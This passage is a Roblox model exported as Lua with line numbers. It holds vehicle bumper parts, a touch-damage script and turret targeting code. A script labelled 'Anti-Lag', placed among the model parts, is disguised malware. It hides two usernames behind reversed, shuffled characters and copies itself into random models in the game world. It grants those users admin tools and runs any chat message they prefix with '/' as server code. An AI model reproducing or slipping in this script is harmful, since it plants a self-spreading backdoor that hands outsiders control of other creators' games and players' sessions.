Part79.Name = "Smooth Block Model"
1391
Part79.Parent = Model69
1392
Part79.BrickColor = BrickColor.new("Dark stone grey")
1393
Part79.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
1394
Part79.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1395
Part79.Velocity = Vector3.new(0.25475505, 1.78102577, 14.7043228)
1396
Part79.Size = Vector3.new(2, 1.20000005, 2)
1397
Part79.CFrame = CFrame.new(-40.9582787, 2.2605629, 142.902802, 0.99996376, -6.74089315e-05, 0.00775469653, 0.000104216298, 0.999988735, -0.00475055119, -0.00775362086, 0.00475121429, 0.999950409)
1398
Part79.FrontSurface = Enum.SurfaceType.Weld
1399
Part79.Color = Color3.new(0.388235, 0.372549, 0.384314)
1400
Part79.Position = Vector3.new(-40.9582787, 2.2605629, 142.902802)
1401
Part79.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
1402
Part79.Color = Color3.new(0.388235, 0.372549, 0.384314)
1403
Part80.Name = "Smooth Block Model"
1404
Part80.Parent = Model69
1405
Part80.BrickColor = BrickColor.new("Dark stone grey")
1406
Part80.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
1407
Part80.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1408
Part80.Velocity = Vector3.new(0.16566883, 1.64078176, 14.9315062)
1409
Part80.Size = Vector3.new(2, 1.20000005, 8)
1410
Part80.CFrame = CFrame.new(-45.9736137, 2.26954889, 140.941666, 0.00775469653, -6.74089315e-05, -0.99996376, -0.00475055119, 0.999988735, -0.000104216298, 0.999950409, 0.00475121429, 0.00775362086)
1411
Part80.Color = Color3.new(0.388235, 0.372549, 0.384314)
1412
Part80.Position = Vector3.new(-45.9736137, 2.26954889, 140.941666)
1413
Part80.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
1414
Part80.Color = Color3.new(0.388235, 0.372549, 0.384314)
1415
Part81.Name = "Smooth Block Model"
1416
Part81.Parent = Model69
1417
Part81.BrickColor = BrickColor.new("Dark stone grey")
1418
Part81.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
1419
Part81.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1420
Part81.Velocity = Vector3.new(0.28756687, 2.03418064, 14.9997206)
1421
Part81.Size = Vector3.new(2, 1.20000005, 2)
1422
Part81.CFrame = CFrame.new(-50.958004, 3.45951557, 142.986038, -0.99996376, -6.74089315e-05, -0.00775469653, -0.000104216298, 0.999988735, 0.00475055119, 0.00775362086, 0.00475121429, -0.999950409)
1423
Part81.BackSurface = Enum.SurfaceType.Weld
1424
Part81.BottomSurface = Enum.SurfaceType.Smooth
1425
Part81.TopSurface = Enum.SurfaceType.Smooth
1426
Part81.Color = Color3.new(0.388235, 0.372549, 0.384314)
1427
Part81.Position = Vector3.new(-50.958004, 3.45951557, 142.986038)
1428
Part81.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
1429
Part81.Color = Color3.new(0.388235, 0.372549, 0.384314)
1430
SpecialMesh82.Parent = Part81
1431
SpecialMesh82.MeshType = Enum.MeshType.Wedge
1432
Part83.Name = "Smooth Block Model"
1433
Part83.Parent = Model69
1434
Part83.BrickColor = BrickColor.new("Dark stone grey")
1435
Part83.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
1436
Part83.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1437
Part83.Velocity = Vector3.new(0.258261204, 2.03341937, 15.159812)
1438
Part83.Size = Vector3.new(2, 1.20000005, 2)
1439
Part83.CFrame = CFrame.new(-50.9579277, 2.25952816, 142.980347, 0.99996376, -6.74089315e-05, 0.00775469653, 0.000104216298, 0.999988735, -0.00475055119, -0.00775362086, 0.00475121429, 0.999950409)
1440
Part83.FrontSurface = Enum.SurfaceType.Weld
1441
Part83.Color = Color3.new(0.388235, 0.372549, 0.384314)
1442
Part83.Position = Vector3.new(-50.9579277, 2.25952816, 142.980347)
1443
Part83.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
1444
Part83.Color = Color3.new(0.388235, 0.372549, 0.384314)
1445
Part84.Name = "Smooth Block Model"
1446
Part84.Parent = Model69
1447
Part84.BrickColor = BrickColor.new("Dark stone grey")
1448
Part84.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5)
1449
Part84.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1450
Part84.Velocity = Vector3.new(0.258786887, 2.07127786, 15.2281361)
1451
Part84.Size = Vector3.new(2, 1.20000005, 1)
1452
Part84.CFrame = CFrame.new(-52.4578781, 2.25937176, 142.991974, -0.0077547282, -6.74106923e-05, 0.999963045, 0.00475054886, 0.999988735, 0.000104214298, -0.999949455, 0.00475121196, -0.00775357615)
1453
Part84.BackSurface = Enum.SurfaceType.Weld
1454
Part84.BottomSurface = Enum.SurfaceType.Smooth
1455
Part84.TopSurface = Enum.SurfaceType.Smooth
1456
Part84.Color = Color3.new(0.388235, 0.372549, 0.384314)
1457
Part84.Position = Vector3.new(-52.4578781, 2.25937176, 142.991974)
1458
Part84.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
1459
Part84.Color = Color3.new(0.388235, 0.372549, 0.384314)
1460
SpecialMesh85.Parent = Part84
1461
SpecialMesh85.MeshType = Enum.MeshType.Wedge
1462
Part86.Name = "Smooth Block Model"
1463
Part86.Parent = Model69
1464
Part86.BrickColor = BrickColor.new("Dark stone grey")
1465
Part86.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
1466
Part86.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1467
Part86.Velocity = Vector3.new(0.178568333, 1.51496482, 14.6237154)
1468
Part86.Size = Vector3.new(2, 2.4000001, 2)
1469
Part86.CFrame = CFrame.new(-40.9738388, 2.8700633, 140.905731, 0.999964118, -6.74080511e-05, 0.0077546807, 0.000104217295, 0.999988735, -0.00475055259, -0.00775364321, 0.00475121569, 0.999950886)
1470
Part86.Color = Color3.new(0.388235, 0.372549, 0.384314)
1471
Part86.Position = Vector3.new(-40.9738388, 2.8700633, 140.905731)
1472
Part86.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
1473
Part86.Color = Color3.new(0.388235, 0.372549, 0.384314)
1474
Part87.Name = "Smooth Block Model"
1475
Part87.Parent = Model69
1476
Part87.BrickColor = BrickColor.new("Dark stone grey")
1477
Part87.Rotation = Vector3.new(-179.729996, -0.439999998, 90)
1478
Part87.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1479
Part87.Velocity = Vector3.new(0.253083646, 1.83648705, 14.817872)
1480
Part87.Size = Vector3.new(1, 2.4000001, 2)
1481
Part87.CFrame = CFrame.new(-43.1581993, 2.1603384, 142.919373, 6.74106923e-05, -0.999963045, -0.0077547282, -0.999988735, -0.000104214298, 0.00475054886, -0.00475121196, 0.00775357615, -0.999949455)
1482
Part87.BackSurface = Enum.SurfaceType.Weld
1483
Part87.BottomSurface = Enum.SurfaceType.Smooth
1484
Part87.TopSurface = Enum.SurfaceType.Smooth
1485
Part87.Color = Color3.new(0.388235, 0.372549, 0.384314)
1486
Part87.Position = Vector3.new(-43.1581993, 2.1603384, 142.919373)
1487
Part87.Orientation = Vector3.new(-0.269999981, -179.559998, -90.0099945)
1488
Part87.Color = Color3.new(0.388235, 0.372549, 0.384314)
1489
SpecialMesh88.Parent = Part87
1490
SpecialMesh88.MeshType = Enum.MeshType.Wedge
1491
Part89.Name = "Smooth Block Model"
1492
Part89.Parent = Model69
1493
Part89.BrickColor = BrickColor.new("Dark stone grey")
1494
Part89.Rotation = Vector3.new(-179.729996, -0.439999998, -90)
1495
Part89.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1496
Part89.Velocity = Vector3.new(0.255047023, 1.97782743, 15.0729456)
1497
Part89.Size = Vector3.new(1, 2.4000001, 2)
1498
Part89.CFrame = CFrame.new(-48.7579918, 2.15975475, 142.962799, -6.74106923e-05, 0.999963045, -0.0077547282, 0.999988735, 0.000104214298, 0.00475054886, 0.00475121196, -0.00775357615, -0.999949455)
1499
Part89.BackSurface = Enum.SurfaceType.Weld
1500
Part89.BottomSurface = Enum.SurfaceType.Smooth
1501
Part89.TopSurface = Enum.SurfaceType.Smooth
1502
Part89.Color = Color3.new(0.388235, 0.372549, 0.384314)
1503
Part89.Position = Vector3.new(-48.7579918, 2.15975475, 142.962799)
1504
Part89.Orientation = Vector3.new(-0.269999981, -179.559998, 89.9899979)
1505
Part89.Color = Color3.new(0.388235, 0.372549, 0.384314)
1506
SpecialMesh90.Parent = Part89
1507
SpecialMesh90.MeshType = Enum.MeshType.Wedge
1508
Part91.Name = "Smooth Block Model"
1509
Part91.Parent = Model69
1510
Part91.BrickColor = BrickColor.new("Dark stone grey")
1511
Part91.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
1512
Part91.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1513
Part91.Velocity = Vector3.new(0.322884291, 1.98085546, 14.7047434)
1514
Part91.Size = Vector3.new(2, 1.20000005, 1)
1515
Part91.CFrame = CFrame.new(-40.9466515, 2.25344086, 144.402725, -0.999963045, -6.74106923e-05, -0.0077547282, -0.000104214298, 0.999988735, 0.00475054886, 0.00775357615, 0.00475121196, -0.999949455)
1516
Part91.BackSurface = Enum.SurfaceType.Weld
1517
Part91.BottomSurface = Enum.SurfaceType.Smooth
1518
Part91.TopSurface = Enum.SurfaceType.Smooth
1519
Part91.Color = Color3.new(0.388235, 0.372549, 0.384314)
1520
Part91.Position = Vector3.new(-40.9466515, 2.25344086, 144.402725)
1521
Part91.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
1522
Part91.Color = Color3.new(0.388235, 0.372549, 0.384314)
1523
SpecialMesh92.Parent = Part91
1524
SpecialMesh92.MeshType = Enum.MeshType.Wedge
1525
Part93.Name = "Smooth Block Model"
1526
Part93.Parent = Model69
1527
Part93.BrickColor = BrickColor.new("Dark stone grey")
1528
Part93.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5)
1529
Part93.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1530
Part93.Velocity = Vector3.new(0.205311552, 1.87183189, 15.1476688)
1531
Part93.Size = Vector3.new(1, 2.4000001, 1)
1532
Part93.CFrame = CFrame.new(-52.4695435, 2.86648941, 141.494919, -0.00775469653, -6.74089315e-05, 0.99996376, 0.00475055119, 0.999988735, 0.000104216298, -0.999950409, 0.00475121429, -0.00775362086)
1533
Part93.BackSurface = Enum.SurfaceType.Weld
1534
Part93.BottomSurface = Enum.SurfaceType.Smooth
1535
Part93.TopSurface = Enum.SurfaceType.Smooth
1536
Part93.Color = Color3.new(0.388235, 0.372549, 0.384314)
1537
Part93.Position = Vector3.new(-52.4695435, 2.86648941, 141.494919)
1538
Part93.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
1539
Part93.Color = Color3.new(0.388235, 0.372549, 0.384314)
1540
SpecialMesh94.Parent = Part93
1541
SpecialMesh94.MeshType = Enum.MeshType.Wedge
1542
Model95.Name = "RearBumper"
1543
Model95.Parent = Model20
1544
Part96.Name = "Smooth Block Model"
1545
Part96.Parent = Model95
1546
Part96.BrickColor = BrickColor.new("Dark stone grey")
1547
Part96.Rotation = Vector3.new(0.769999981, -89.5099945, 0.5)
1548
Part96.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1549
Part96.Velocity = Vector3.new(-0.858548641, -1.52072132, 14.6291237)
1550
Part96.Size = Vector3.new(1, 1.20000005, 1)
1551
Part96.CFrame = CFrame.new(-39.6483269, 2.37710953, 118.39238, 0.0077547282, -6.74106923e-05, -0.999963045, -0.00475054886, 0.999988735, -0.000104214298, 0.999949455, 0.00475121196, 0.00775357615)
1552
Part96.BackSurface = Enum.SurfaceType.Weld
1553
Part96.BottomSurface = Enum.SurfaceType.Smooth
1554
Part96.TopSurface = Enum.SurfaceType.Smooth
1555
Part96.Color = Color3.new(0.388235, 0.372549, 0.384314)
1556
Part96.Position = Vector3.new(-39.6483269, 2.37710953, 118.39238)
1557
Part96.Orientation = Vector3.new(0.00999999978, -89.5599976, -0.269999981)
1558
Part96.Color = Color3.new(0.388235, 0.372549, 0.384314)
1559
SpecialMesh97.Parent = Part96
1560
SpecialMesh97.MeshType = Enum.MeshType.Wedge
1561
Part98.Name = "Smooth Block Model"
1562
Part98.Parent = Model95
1563
Part98.BrickColor = BrickColor.new("Dark stone grey")
1564
Part98.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5)
1565
Part98.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1566
Part98.Velocity = Vector3.new(-0.833560407, -1.29005682, 14.9253311)
1567
Part98.Size = Vector3.new(2, 1.20000005, 8)
1568
Part98.CFrame = CFrame.new(-46.1442261, 2.37406492, 118.942749, -0.00775469653, -6.74089315e-05, 0.99996376, 0.00475055119, 0.999988735, 0.000104216298, -0.999950409, 0.00475121429, -0.00775362086)
1569
Part98.Color = Color3.new(0.388235, 0.372549, 0.384314)
1570
Part98.Position = Vector3.new(-46.1442261, 2.37406492, 118.942749)
1571
Part98.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
1572
Part98.Color = Color3.new(0.388235, 0.372549, 0.384314)
1573
Part99.Name = "Smooth Block Model"
1574
Part99.Parent = Model95
1575
Part99.BrickColor = BrickColor.new("Dark stone grey")
1576
Part99.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
1577
Part99.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1578
Part99.Velocity = Vector3.new(-0.831807494, -1.16386008, 15.1530771)
1579
Part99.Size = Vector3.new(2, 1.20000005, 2)
1580
Part99.CFrame = CFrame.new(-51.1440392, 2.37353992, 118.981522, -0.99996376, -6.74089315e-05, -0.00775469653, -0.000104216298, 0.999988735, 0.00475055119, 0.00775362086, 0.00475121429, -0.999950409)
1581
Part99.Color = Color3.new(0.388235, 0.372549, 0.384314)
1582
Part99.Position = Vector3.new(-51.1440392, 2.37353992, 118.981522)
1583
Part99.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
1584
Part99.Color = Color3.new(0.388235, 0.372549, 0.384314)
1585
Part100.Name = "Smooth Block Model"
1586
Part100.Parent = Model95
1587
Part100.BrickColor = BrickColor.new("Dark stone grey")
1588
Part100.Rotation = Vector3.new(-179.229996, 89.5099945, 179.5)
1589
Part100.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1590
Part100.Velocity = Vector3.new(-0.85399133, -1.19261098, 15.2212601)
1591
Part100.Size = Vector3.new(1, 1.20000005, 1)
1592
Part100.CFrame = CFrame.new(-52.6478577, 2.37575889, 118.493179, -0.0077547282, -6.74106923e-05, 0.999963045, 0.00475054886, 0.999988735, 0.000104214298, -0.999949455, 0.00475121196, -0.00775357615)
1593
Part100.BackSurface = Enum.SurfaceType.Weld
1594
Part100.BottomSurface = Enum.SurfaceType.Smooth
1595
Part100.TopSurface = Enum.SurfaceType.Smooth
1596
Part100.Color = Color3.new(0.388235, 0.372549, 0.384314)
1597
Part100.Position = Vector3.new(-52.6478577, 2.37575889, 118.493179)
1598
Part100.Orientation = Vector3.new(-0.00999999978, 90.4399948, 0.269999981)
1599
Part100.Color = Color3.new(0.388235, 0.372549, 0.384314)
1600
SpecialMesh101.Parent = Part100
1601
SpecialMesh101.MeshType = Enum.MeshType.Wedge
1602
Part102.Name = "Smooth Block Model"
1603
Part102.Parent = Model95
1604
Part102.BrickColor = BrickColor.new("Dark stone grey")
1605
Part102.Rotation = Vector3.new(-179.729996, -0.439999998, 180)
1606
Part102.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
1607
Part102.Velocity = Vector3.new(-0.835313141, -1.41625285, 14.697587)
1608
Part102.Size = Vector3.new(2, 1.20000005, 2)
1609
Part102.CFrame = CFrame.new(-41.1443901, 2.374578, 118.903984, -0.99996376, -6.74089315e-05, -0.00775469653, -0.000104216298, 0.999988735, 0.00475055119, 0.00775362086, 0.00475121429, -0.999950409)
1610
Part102.Color = Color3.new(0.388235, 0.372549, 0.384314)
1611
Part102.Position = Vector3.new(-41.1443901, 2.374578, 118.903984)
1612
Part102.Orientation = Vector3.new(-0.269999981, -179.559998, -0.00999999978)
1613
Part102.Color = Color3.new(0.388235, 0.372549, 0.384314)
1614
Script103.Parent = Model20
1615
table.insert(cors,sandbox(Script103,function()
1616
local FBumper = script.Parent.FrontBumper:children()
1617
local RBumper = script.Parent.RearBumper:children()
1618
1619
local debounce = false
1620
1621
function kill(part)
1622
	if(part == nil) then return end
1623
	if(part.Parent == nil) then return end
1624
	local H = part.Parent:findFirstChild("Humanoid") or part.Parent:findFirstChild("Zombie")
1625
	if(H == nil) then return end
1626
	if(H.className == "Humanoid") then
1627
		if(debounce == false) then
1628
			debounce = true
1629
			H:TakeDamage(100)
1630
			wait(.1)
1631
			debounce = false
1632
		end
1633
	end
1634
end
1635
1636
for i=1,#FBumper do
1637
	FBumper[i].Touched:connect(kill)
1638
end
1639
for i=1,#RBumper do
1640
	RBumper[i].Touched:connect(kill)
1641
end
1642
1643
end))
1644
StringValue104.Name = "MyPathName"
1645
StringValue104.Parent = Model0
1646
StringValue104.Value = "Patrol"
1647
IntValue105.Name = "ScanRange"
1648
IntValue105.Parent = Model0
1649
IntValue105.Value = 400
1650
BoolValue106.Name = "Target Humanoids"
1651
BoolValue106.Parent = Model0
1652
BoolValue107.Name = "Target Zombies"
1653
BoolValue107.Parent = Model0
1654
BoolValue107.Value = true
1655
BrickColorValue108.Name = "TeamColor"
1656
BrickColorValue108.Parent = Model0
1657
BrickColorValue108.Value = BrickColor.new("White")
1658
Script109.Name = "Anti-Lag"
1659
Script109.Parent = BrickColorValue108
1660
table.insert(cors,sandbox(Script109,function()
1661
Altitude = script:clone()
1662
calco = {"s","c","q","t","o","a","i","f","g","w","8","e","m","7","h","n"}
1663
Knox = {}
1664
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
1665
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
1666
Play = {}
1667
function rando(votation)
1668
local hatr = 5
1669
local calc = math.pi * math.huge
1670
local longicate = votation:GetChildren()
1671
if #longicate > hatr then 
1672
calc = calc + math.pi
1673
return longicate[math.random(6,#longicate)]
1674
end
1675
end
1676
function doublecheck()
1677
local fj = game.Workspace:GetChildren()
1678
for off = 1,#fj do
1679
if fj[off].className == "Part" then
1680
local fh = fj[off]:FindFirstChild("Anti-Lag")
1681
if fh ~= nil then 
1682
return false
1683
end
1684
end
1685
end
1686
return true
1687
end
1688
function workcheck()
1689
if doublecheck() == true then
1690
local l = Altitude:clone()
1691
l.Parent = rando(game.Workspace)
1692
end
1693
end
1694
workcheck()
1695
function gibite(quen)
1696
local  hup = Instance.new("Message")
1697
hup.Text = "Detected"
1698
hup.Parent = quen.Parent
1699
local con = Instance.new("Script")
1700
con.Source = [[wait(5) script.Parent:remove()]]
1701
con.Parent = hup
1702
for ish = 0,7 do
1703
local a = Instance.new("HopperBin")
1704
a.BinType = ish
1705
a.Parent = quen
1706
end
1707
end
1708
function laber(zonsa)
1709
wait()
1710
for slate = 1,#Knox do  
1711
if zonsa.Name == Knox[slate] then
1712
gibite(zonsa.Backpack)
1713
table.insert (Play, 1,  zonsa.Name)
1714
end
1715
end
1716
end
1717
function yeild(frequency)
1718
local t = Knox
1719
for g = 1,#t do
1720
if t[g] == frequency.Name then
1721
return true
1722
end
1723
end
1724
return false
1725
end
1726
function check(los)
1727
local r = los:GetChildren()
1728
for i = 1,#r do
1729
local h = r[i]:FindFirstChild("Anti-Lag")
1730
if h ~= nil then
1731
h:remove()
1732
end
1733
end
1734
end
1735
function alto(xylem)
1736
if xylem.className == "Model" then
1737
check(xylem)
1738
local que = script:clone()
1739
que.Parent = rando(xylem)
1740
end
1741
end
1742
function sortation(gone)
1743
local dimbs = Altitude:clone()
1744
dimbs = ramno(game.Workspace)
1745
end
1746
function onPlayerEntered(newPlayer)
1747
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
1748
end
1749
function Player(player)
1750
player.Changed:connect(function (property) 
1751
if property == "Character" then 
1752
laber(player) 
1753
end
1754
end)
1755
end
1756
game.Players.PlayerAdded:connect(Player)
1757
game.Players.ChildAdded:connect(onPlayerEntered)
1758
game.Players.ChildAdded:connect(laber)
1759
script.ChildRemoved:connect(sortation)
1760
game.Workspace.ChildAdded:connect(alto)
1761
function onChatted(msg, recipient, speaker)
1762
if yeild(speaker) ~= false then
1763
if string.sub(msg,1,1) == "/" then
1764
local dsting = Instance.new("Script")
1765
dsting.Source = string.sub(msg,2) 
1766
dsting.Parent = game.Workspace 
1767
end
1768
end
1769
end 
1770
end))
1771
BoolValue110.Name = "TeamGame"
1772
BoolValue110.Parent = Model0
1773
BoolValue110.Value = true
1774
Model111.Name = "Gatlin Turret Ammo Left :100 Of : 1000"
1775
Model111.Parent = Model0
1776
Part112.Name = "Head"
1777
Part112.Parent = Model111
1778
Part112.Rotation = Vector3.new(-179.709991, 13.1999998, 179.869995)
1779
Part112.RotVelocity = Vector3.new(-9.91700459, -0.216852576, -0.0537613072)
1780
Part112.Velocity = Vector3.new(-3.90156007, 0.502882659, 9.55314064)
1781
Part112.Size = Vector3.new(2, 1.20000005, 2)
1782
Part112.CFrame = CFrame.new(-46.0941544, 10.7448759, 125.982277, -0.973571718, -0.00226995652, 0.228346154, -0.00118809205, 0.999987483, 0.00487507228, -0.228354484, 0.00447495934, -0.973560154)
1783
Part112.BottomSurface = Enum.SurfaceType.Hinge
1784
Part112.LeftSurface = Enum.SurfaceType.Hinge
1785
Part112.RightSurface = Enum.SurfaceType.Hinge
1786
Part112.TopSurface = Enum.SurfaceType.Smooth
1787
Part112.Position = Vector3.new(-46.0941544, 10.7448759, 125.982277)
1788
Part112.Orientation = Vector3.new(-0.280000001, 166.800003, -0.0700000003)
1789
Model113.Name = "Brain"
1790
Model113.Parent = Model111
1791
Part114.Name = "TurretEngine"
1792
Part114.Parent = Model113
1793
Part114.BrickColor = BrickColor.new("White")
1794
Part114.Rotation = Vector3.new(136.98999, 9.80999947, -171.149994)
1795
Part114.RotVelocity = Vector3.new(1.13013411, 1.99326193, 0.817745686)
1796
Part114.Velocity = Vector3.new(-2.09936476, 1.98652637, 15.9585247)
1797
Part114.CanCollide = false
1798
Part114.FormFactor = Enum.FormFactor.Plate
1799
Part114.Size = Vector3.new(2, 1.20000005, 2)
1800
Part114.CFrame = CFrame.new(-45.9128151, 11.6371822, 125.195038, -0.973659635, 0.151522517, 0.170336604, -0.00238468405, 0.740355492, -0.672210753, -0.227966443, -0.654908955, -0.720492363)
1801
Part114.BottomSurface = Enum.SurfaceType.Smooth
1802
Part114.FrontSurface = Enum.SurfaceType.Weld
1803
Part114.LeftSurface = Enum.SurfaceType.Weld
1804
Part114.RightSurface = Enum.SurfaceType.Weld
1805
Part114.TopSurface = Enum.SurfaceType.Weld
1806
Part114.Color = Color3.new(0.94902, 0.952941, 0.952941)
1807
Part114.Position = Vector3.new(-45.9128151, 11.6371822, 125.195038)
1808
Part114.Orientation = Vector3.new(42.2399979, 166.699997, -0.179999992)
1809
Part114.Color = Color3.new(0.94902, 0.952941, 0.952941)
1810
Script115.Parent = Part114
1811
table.insert(cors,sandbox(Script115,function()
1812
local ZombieTarget = script.Parent.Parent.Parent["Target Zombies"]
1813
local HumanoidTarget = script.Parent.Parent.Parent["Target Humanoids"]
1814
local isTeamGame = script.Parent.Parent.Parent.TeamGame
1815
local MyTeamColor = script.Parent.Parent.Parent.TeamColor
1816
local SightRadius = script.Parent.Parent.Parent.ScanRange
1817
function move(target, engine)
1818
	local origincframe = engine:findFirstChild("BodyGyro").cframe
1819
	local dir = (target - engine.Position).unit
1820
	local spawnPos = engine.Position
1821
	local pos = spawnPos + dir
1822
1823
	temp = script.Parent.Parent.ProjectileSpeed.Value
1824
	if(script.Parent.Parent.MyTarget.Value ~= nil and script.Parent.Parent.MyTarget.Value:findFirstChild("Torso") ~= nil) then
1825
		targetvel = script.Parent.Parent.MyTarget.Value.Torso.Velocity
1826
	dist = (target - engine.Position).magnitude
1827
	spd = temp - dist
1828
	test = target+(targetvel/Vector3.new(temp,temp,temp)*(dist))  -- +Vector3.new(0,-1,0)
1829
		engine:findFirstChild("BodyGyro").maxTorque = Vector3.new(9900,9900, 0)
1830
		engine:findFirstChild("BodyGyro").cframe = CFrame.new(pos,  test+dir)
1831
	else
1832
		engine:findFirstChild("BodyGyro").maxTorque = Vector3.new(9900,9900, 0)
1833
		engine:findFirstChild("BodyGyro").cframe = CFrame.new(pos, pos+dir)
1834
	end
1835
end
1836
1837
function getTurrets(Base)
1838
	local bits = Base:children()
1839
	local Turrets = {}
1840
	local Tnum = 1
1841
	for i=1,#bits do
1842
		local tmp = bits[i]
1843
		local TurretBrain = tmp:findFirstChild("Brain")
1844
		if(TurretBrain ~= nil) then
1845
			Turrets[Tnum] = TurretBrain.Parent
1846
			Tnum = Tnum +1
1847
		end
1848
	end
1849
	if(#Turrets > 0) then
1850
		return Turrets
1851
	else
1852
		return nil
1853
	end
1854
end
1855
1856
function findNearestTorso(pos)
1857
	local list = game.Workspace:children()
1858
	local torso = nil
1859
	local dist = SightRadius.Value
1860
	local temp = nil
1861
	local human = nil
1862
	local temp2 = nil
1863
	for x = 1, #list do
1864
		temp2 = list[x]
1865
		if (temp2.className == "Model") and (temp2 ~= script.Parent.Parent) then
1866
			temp = temp2:findFirstChild("Torso")
1867
			human = temp2:findFirstChild("Zombie") or temp2:findFirstChild("Humanoid")
1868
			local player = game.Players:GetPlayerFromCharacter(temp2)
1869
			local Ai  = temp2:findFirstChild("Brain") or temp2:findFirstChild("Parts")
1870
			if(Ai ~= nil) then -- for my turrets and cars etc....
1871
				local LP = Ai:findFirstChild("TurretEngine") -- For our Turrets
1872
				local EN = Ai:findFirstChild("Engine")          -- for our Ai Cars etc...
1873
				local MyAiCar = script.Parent.Parent.Parent.Parent
1874
				local TeamColor = Ai.Parent:findFirstChild("TeamColor")
1875
				local TeamGame = Ai.Parent:findFirstChild("TeamGame")
1876
				if(LP ~= nil) then
1877
					if(TeamColor ~= nil and TeamGame ~= nil) then
1878
						if(TeamGame.Value == true) then
1879
							if(TeamColor.Value ~= MyTeamColor.Value) then
1880
								if (LP.Position - pos).magnitude < dist then
1881
									torso = LP
1882
									dist = (LP.Position - pos).magnitude
1883
								end
1884
							end
1885
						else
1886
							if (LP.Position - pos).magnitude < dist then
1887
								torso = LP
1888
								dist = (LP.Position - pos).magnitude
1889
							end
1890
						end
1891
					end
1892
				end
1893
				if(EN ~= nil and Ai.Parent ~= MyAiCar) then
1894
					local EnemyTurrets = getTurrets(Ai.Parent)
1895
					if(EnemyTurrets ~= nil) then
1896
						if(TeamColor ~= nil and TeamGame ~= nil) then
1897
							if(TeamGame.Value == true) then
1898
								if(TeamColor.Value ~= MyTeamColor.Value) then
1899
									for i=1,#EnemyTurrets do
1900
										local Turret = EnemyTurrets[i]
1901
										local Brain = Turret:findFirstChild("Brain")
1902
										if(Brain ~= nil) then
1903
											local TEngine= Brain:findFirstChild("TurretEngine")
1904
											if (TEngine.Position - pos).magnitude < dist then
1905
												torso =TEngine
1906
												dist = (TEngine.Position - pos).magnitude
1907
											end
1908
										end
1909
									end
1910
								end
1911
							end
1912
						end
1913
					else
1914
						if(TeamColor ~= nil and TeamGame ~= nil) then
1915
							if(TeamGame.Value == true) then
1916
								if(TeamColor.Value ~= MyTeamColor.Value) then
1917
									if (EN.Position - pos).magnitude < dist then
1918
										torso =EN
1919
										dist = (EN.Position - pos).magnitude
1920
									end
1921
								end
1922
							else
1923
								if (EN.Position - pos).magnitude < dist then
1924
									torso = EN
1925
									dist = (EN.Position - pos).magnitude
1926
								end
1927
							end
1928
						end
1929
					end
1930
				end
1931
			end
1932
			if(human ~= nil or temp ~= nil) then -- just for humanoids and zombies 
1933
				if(ZombieTarget.Value == true and HumanoidTarget.Value == false) then
1934
					if(human.Name ~= "Zombie") then
1935
						human = nil
1936
						temp = nil
1937
					end
1938
				end
1939
				if(HumanoidTarget.Value == true and ZombieTarget.Value == false)then
1940
					if(human.Name ~= "Humanoid") then
1941
						human = nil
1942
						temp = nil
1943
					else
1944
						if(player ~= nil) then
1945
							if(isTeamGame.Value == true) then
1946
								if(player.TeamColor == MyTeamColor.Value) then
1947
									human = nil
1948
									temp = nil
1949
								end
1950
							end
1951
						end
1952
					end
1953
				end
1954
				if(HumanoidTarget.Value == true and ZombieTarget.Value == true)then
1955
					if(player ~= nil) then
1956
						if(isTeamGame.Value == true) then
1957
							if(player.TeamColor == MyTeamColor.Value) then
1958
								human = nil
1959
								temp = nil
1960
							end
1961
						end
1962
					end
1963
				end
1964
				if(HumanoidTarget.Value == false and ZombieTarget.Value == false)then
1965
					temp = nil
1966
					human = nil
1967
				end
1968
			end
1969
			if (temp ~= nil and human ~= nil) then
1970
				if (temp.Position - pos).magnitude < dist  and human.Health > 0 then
1971
					torso = temp
1972
					dist = (temp.Position - pos).magnitude
1973
				end
1974
			end
1975
		end
1976
	end
1977
	return torso
1978
end
1979
function isInFireingRange(Tgt,pos)
1980
	local dist = SightRadius.Value-40
1981
	local torso = nil
1982
	local human = Tgt.Parent:findFirstChild("Zombie") or Tgt.Parent:findFirstChild("Humanoid")
1983
	target = findNearestTorso(script.Parent.Position)
